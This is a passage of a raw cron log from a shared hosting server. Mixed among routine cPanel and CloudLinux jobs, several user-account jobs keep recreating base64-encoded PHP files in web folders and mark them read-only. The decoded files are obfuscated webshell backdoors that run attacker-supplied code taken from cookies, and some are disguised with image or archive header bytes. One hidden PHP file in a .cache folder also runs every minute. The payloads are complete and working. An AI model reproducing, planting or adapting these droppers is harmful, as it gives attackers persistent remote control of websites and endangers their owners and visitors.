Ib3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:18:01 medusa CROND[1819]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:18:01 medusa CROND[1824]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:18:01 medusa CROND[1826]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:18:01 medusa CROND[1827]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:18:01 medusa CROND[1828]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 10:18:01 medusa CROND[1829]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:19:02 medusa CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:19:02 medusa CROND[3412]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:19:02 medusa CROND[3413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:19:02 medusa CROND[3414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:19:02 medusa CROND[3415]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:19:02 medusa CROND[3416]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:19:02 medusa CROND[3417]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:19:02 medusa CROND[3418]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:19:02 medusa CROND[3421]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:19:02 medusa CROND[3425]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:19:02 medusa CROND[3432]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:19:02 medusa CROND[3436]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:20:02 medusa CROND[5105]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:20:02 medusa CROND[5113]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:20:02 medusa CROND[5114]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:20:02 medusa CROND[5115]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:20:02 medusa CROND[5116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 10:20:02 medusa CROND[5117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5119]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:20:02 medusa CROND[5123]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:20:02 medusa CROND[5130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5129]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:20:02 medusa CROND[5133]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:20:02 medusa CROND[5128]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 10:20:02 medusa CROND[5134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:20:02 medusa CROND[5131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:20:02 medusa CROND[5137]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
